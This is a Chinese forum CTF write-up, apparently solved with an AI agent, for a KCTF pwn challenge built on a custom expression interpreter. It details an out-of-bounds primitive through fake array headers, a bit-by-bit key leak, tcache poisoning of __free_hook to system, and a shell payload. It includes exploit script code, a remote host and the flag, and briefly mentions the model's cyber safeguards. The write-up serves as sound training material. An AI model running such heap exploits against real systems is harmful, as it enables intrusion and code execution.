[原创] 看雪·2026 KCTF 第十题：卯时·曦光初现 WP (AI)-CTF对抗-看雪安全社区

[原创] 看雪·2026 KCTF 第十题：卯时·曦光初现 WP (AI)

发表于: 2026-8-23 13:54 1477

[原创] 看雪·2026 KCTF 第十题：卯时·曦光初现 WP (AI)

DNLINYJ

2026-8-23 13:54

1477

> 本题由 `GPT-5.5 (xhigh effort) + Codex` 完成, 用时约为 1 小时 10 分钟
> GPT 的 Cyber 甲真是越来越厚了, 5.5 都开始给我爆 Cyber 了qwq
> 今年的 T 恤又没了呜呜呜 ～(　TロT)σ

## 1. 题目信息

附件：

- `pwn`：64 位 Linux ELF，可执行文件，已 strip。
- `libc-2.27.so`：题目给出的 libc。
- `input.txt`：样例输入。

`checksec`：

```text
Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
```

保护全开，常规 GOT 改写不可用。题目本质是一个自定义表达式解释器，利用点在对象序列化格式和数组索引逻辑。

远程：

```text
123.57.66.184:10081
```

最终 flag：

```text
flag{79ec9470-8218-404c-88a5-983f57231b4f}
```

---

## 2. 程序功能概览

程序启动后循环读取一行表达式，提示符为：

```text
> 
```

支持的语法大致如下：

```text
$0=1              # 给变量 $0 赋数字
$0=[1,2,3]        # 给变量 $0 赋数组对象
$0=$1             # 变量赋值
$0+$1             # 二元运算，结果写回 $0
$0=$1[0]          # 数组读取
$0[1]=$2          # 数组写入
$0[1][2]=$3       # 多级数组写入
```

样例 `input.txt` 中也能看到这些语法：

```text
$0=1
$1=2
$0+$1
$0=$1
$0[$1]
$0[$1]=$2
[$1]
[1]
$1
$0=[$1]
$0=[$1,$2]
```

主循环逻辑：

1. `getline` 读入一行；
2. `sub_2B14` 解析表达式，生成 AST；
3. 调 AST 的虚函数执行表达式；
4. 返回 0 打印 `runtime error!`，解析失败打印 `invalid syntax!`。

---

## 3. 关键数据结构

逆向后能看到几个类名残留在 RTTI 中：

```text
interpreter::Literal
interpreter::Number
interpreter::Object
interpreter::Ast
interpreter::AssignLit
interpreter::GetField
interpreter::SetField
interpreter::BinOp
```

### 3.1 VM 变量区

程序维护 256 个 64-bit VM 变量，执行 `$0=1`、`$1=$0` 等语句时会写入该变量区。

变量值有两种类型：

```c
普通数字：直接保存数字值
对象指针：0x1337000000000000 | ptr_low48
```

判断对象的逻辑等价于：

```c
is_object(x) = (x & 0xffff000000000000) == 0x1337000000000000
ptr(x)       = x & 0x0000ffffffffffff
```

### 3.2 自定义对象堆

启动时程序分配一个 `0x10000` 大小的缓冲区作为自定义对象堆：

```asm
2f77  mov     edi, 10000h
2f7c  call    operator new[]
2f81  lea     rbx, qword_206AA0
2f88  mov     qword_206AA0, rax      ; heap_start
2f8f  mov     qword_206AA8, rax      ; heap_cur
2f96  mov     rdi, rbx
2f99  call    sub_344C               ; read xor_key
```

`sub_344C` 从 `/dev/urandom` 读取 8 字节到 `qword_206AB0`，作为全局 `xor_key`。

### 3.3 序列化格式

对象会被序列化到自定义堆中。

数字对象：

```c
serialized_number = xor_key ^ value
```

数组对象：

```c
serialized_array_header = xor_key ^ (0xbeef000000000000 | length)
serialized_array_body   = child0 || child1 || ...
```

因此一个数组 `[1,2]` 在自定义堆中近似为：

```text
xor_key ^ (0xbeef000000000002)
xor_key ^ 1
xor_key ^ 2
```

数组在 VM 变量中保存为：

```text
0x1337000000000000 | serialized_array_addr
```

---

## 4. 漏洞分析

### 4.1 数组索引函数

数组索引核心函数为 `sub_1EDA`，逻辑等价于：

```c
uint64_t *get_element(uint64_t *p, uint64_t idx) {
    uint64_t head = *p ^ xor_key;

if ((head & 0xffff000000000000) != 0xbeef000000000000)
        return NULL;

uint64_t len = head & 0x0000ffffffffffff;
    if (idx > len)
        return NULL;

uint64_t *cur = p + 1;
    for (uint64_t i = 0; i < idx; i++) {
        uint64_t x = *cur ^ xor_key;
        if ((x & 0xffff000000000000) == 0xbeef000000000000) {
            cur = get_element(cur, x & 0x0000ffffffffffff);
            if (!cur) return NULL;
        } else {
            cur++;
        }
    }
    return cur;
}
```

注意：只要某个元素解码后高 16 bit 是 `0xbeef`，程序就会把它当作数组头递归解析。

### 4.2 构造假数组头

利用 `SetField` 可以把一个普通数字写进数组元素：

```text
$0=[0]
$203=0xbeefffffffffffff
$0[0]=$203
```

实际写入内存的是：

```text
xor_key ^ 0xbeefffffffffffff
```

之后访问：

```text
$0[0][idx]
```

流程为：

1. `$0` 是合法数组对象；
2. 第一层 `[0]` 定位到 `$0` 的第 0 个元素；
3. 该元素解码为 `0xbeefffffffffffff`；
4. 程序把它当作长度极大的数组头；
5. 第二层 `[idx]` 即可在自定义堆后方越界读写。

这就形成了一个受 `xor_key` 编码保护的 OOB read/write primitive。

---

## 5. 泄露 xor_key

程序不会直接打印变量值，所以需要通过 side channel 泄露。

构造假数组头后：

```text
$1=$0[0][0]
```

`$0[0][0]` 读到的是假数组头后面的第一个 qword。该位置通常为 0，所以经过程序解码后：

```text
$1 = 0 ^ xor_key = xor_key
```

接下来要把 `$1` 的 64 bit 泄露出来。

### 5.1 zero-oracle

二元运算 `BinOp` 会拒绝 object 类型参与运算。如果某个变量被构造成：

```text
0x1337000000000000
```

再参与运算就会触发：

```text
runtime error!
```

所以可以用如下方式判断变量是否为 0：

```text
$tmp += 0x1337
$tmp *= 2^48
$tmp += $zero
```

若原本 `$tmp == 0`：

```text
$tmp = 0x1337000000000000
```

最后一步会触发 `runtime error!`。

若原本 `$tmp == 1`：

```text
$tmp = 0x1338000000000000
```

高 16 bit 不是 `0x1337`，不会触发错误。

### 5.2 按 bit 泄露

先把待泄露变量复制到 `$SHIFT`，每轮：

```text
$TMP = $SHIFT
$TMP &= 1
zero_oracle($TMP)
$SHIFT /= 2
```

这样 64 轮即可泄露一个 qword。相比最开始按 byte 从 0..255 爆破，速度快很多。

---

## 6. 泄露 heap 和 libc

在 glibc-2.27 环境中，构造完 fake object 后，OOB 区域中有稳定指针。

脚本使用：

```python
heap_x = read_fake(0x2001)
heap_leak = heap_x ^ xor_key
H = heap_leak + 0x11e60
```

其中：

```text
$0[0][0x2001]
```

解码后再 xor 回去得到 `heap_base + 0x10`，于是可以算出 fake header 地址 `H`。

libc 泄露使用：

```python
libc_x = read_fake(0x200d)
libc_leak = libc_x ^ xor_key
libc_base = libc_leak - libc.sym['_IO_2_1_stderr_']
```

题目 libc 为 Ubuntu glibc 2.27，对应关键偏移：

```text
_IO_2_1_stderr_ : 0x3ec680
__free_hook     : 0x3ed8e8
system          : 0x4f420
```

---

## 7. 任意写与 tcache poisoning

理论上，通过 fake array 可以写任意位置：

```text
$0[0][idx]=$val
```

`SetField` 写入时会执行：

```c
*target = vm_value ^ xor_key;
```

也就是说，如果想让内存里出现 `target_raw`，VM 变量中应放：

```python
vm_value = target_raw ^ xor_key
```

但直接写 libc 地址需要极大的 `idx`，`sub_1EDA` 会线性扫描，远程不可接受。因此改为攻击附近的 heap/tcache 结构。

### 7.1 tcache grooming

先用一条故意语法错误的数组表达式制造并释放多个 0x20 chunk：

```text
$9=[0,0,0,0,0,0,0,0]x
```

末尾的 `x` 会导致 `invalid syntax!`，解析过程中分配出的 AST/Number/Object 被析构并释放，从而填充 0x20 tcache bin。

经过调试，后续 `set_const` 之后：

```text
逻辑 index 0x2064 -> heap 上某个 0x20 tcache chunk 的 fd 字段，物理位置约为 H+0x10330
```

于是写：

```text
$0[0][0x2064] = (__free_hook - 8) ^ xor_key
```

由于程序会再异或一次 `xor_key` 写入内存，实际 tcache fd 变为：

```text
__free_hook - 8
```

### 7.2 分配到 __free_hook-8

触发语句：

```text
$5=[1,2,3,system]x
```

解析过程中会多次 `operator new(0x10)` 分配 `Number` 对象。通过前面的 tcache poisoning，最后的 `Number(system)` 会被分配到：

```text
__free_hook - 8
```

`Number` 对象布局为：

```c
struct Number {
    void *vtable;  // offset 0
    uint64_t val;  // offset 8
};
```

因此 `Number(system)` 写对象时：

```text
(__free_hook - 8) + 8 = __free_hook
```

成功将：

```text
__free_hook = system
```

---

## 8. 触发 system

`__free_hook` 被写成 `system` 后，只要让程序执行一次：

```c
free(ptr)
```

就会变成：

```c
system(ptr)
```

主循环每次读入一行后会构造 `std::string`。当输入长度超过 SSO 阈值时，字符串内容会放在 heap 上，析构时释放该 buffer。

发送：

```text
/bin/sh -i #AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

`#` 后面作为 shell 注释，前面执行 `/bin/sh -i`，得到 shell。

---

## 9. 完整 exploit

最终脚本位于：

```text
F:\KCTF\T10_gpt\exp.py
```

核心代码如下：

```python
#!/usr/bin/env python3
from pwn import *
import os, time

context.arch = 'amd64'
context.log_level = os.environ.get('LOG', 'info')

BIN = './t'
LIBC_PATH = './libc-2.27.so'
LD = './ubuntu18/root/lib/x86_64-linux-gnu/ld-2.27.so'
LIBPATH = './ubuntu18/root/lib/x86_64-linux-gnu:./ubuntu18/root/usr/lib/x86_64-linux-gnu'

ZERO   = 200
TWO48  = 201
ONE    = 202
DIV256 = 205
MASK8  = 206
TAG1337 = 207
TMPA   = 210
TMPB   = 211
TWO    = 212
SHIFT  = 213
VAL    = 240
VALTMP = 241

class Retry(Exception):
    pass

class VMExploit:
    def __init__(self, io):
        self.io = io
        self.io.recvuntil(b'> ')

def cmd(self, s, allow_runtime=False, allow_invalid=False):
        self.io.sendline(s.encode())
        out = self.io.recvuntil(b'> ')
        if b'invalid syntax!' in out and not allow_invalid:
            raise Exception(f'invalid syntax: {s!r}')
        if b'runtime error!' in out and not allow_runtime:
            raise Exception(f'runtime error: {s!r}')
        return out

def setup_fake_object(self):
        c = self.cmd
        c(f'${ZERO}=0')
        c(f'${TWO48}=16777216')
        c(f'${TMPB}=16777216')
        c(f'${TWO48}*${TMPB}')
        c('$203=48879')
        c(f'$203*${TWO48}')
        c('$204=281474976710655')
        c('$203+$204')
        c('$0=[0]')
        c('$0[0]=$203')
        c('$1=$0[0][0]', allow_runtime=True)
        c(f'${TAG1337}=4919')
        c(f'${ONE}=1')
        c(f'${TWO}=2')

def zero_oracle(self, v):
        self.cmd(f'${v}+${TAG1337}')
        self.cmd(f'${v}*${TWO48}')
        out = self.cmd(f'${v}+${ZERO}', allow_runtime=True)
        return b'runtime error!' in out

def leak_var(self, var, name='leak'):
        self.cmd(f'${SHIFT}=${var}')
        value = 0
        for i in range(64):
            self.cmd(f'${TMPA}=${SHIFT}')
            self.cmd(f'${TMPA}&${ONE}')
            if not self.zero_oracle(TMPA):
                value |= 1 << i
            if i != 63:
                self.cmd(f'${SHIFT}/${TWO}')
        log.success('%s = %#x', name, value)
        return value

def read_fake(self, idx, dst, name):
        self.cmd(f'${dst}=$0[0][{idx}]', allow_runtime=True)
        return self.leak_var(dst, name)

def set_const(self, var, value):
        value &= (1 << 64) - 1
        hi = value >> 48
        lo = value & ((1 << 48) - 1)
        if hi == 0x1337:
            raise Retry('object tag collision')
        self.cmd(f'${var}={lo}')
        if hi:
            self.cmd(f'${VALTMP}={hi}')
            self.cmd(f'${VALTMP}*${TWO48}')
            self.cmd(f'${var}+${VALTMP}')
```

完整版以仓库里的 `exp.py` 为准。

---

## 10. 运行方式

本地：

```bash
cd /mnt/f/KCTF/T10_gpt
python3 exp.py
```

远程拿 flag：

```bash
cd /mnt/f/KCTF/T10_gpt
python3 exp.py REMOTE HOST=123.57.66.184 PORT=10081 CMD="cat flag"
```

实际远程输出：

```text
$ flag{79ec9470-8218-404c-88a5-983f57231b4f}
```

登录后可查看完整内容

冰与火的战歌：Windows内核攻防实战高级班！从零到实战，融合AI与Windows内核攻防全技术栈，打造具备自动化能力的内核开发高手。

最后于 2026-8-23 21:21 被DNLINYJ编辑，原因：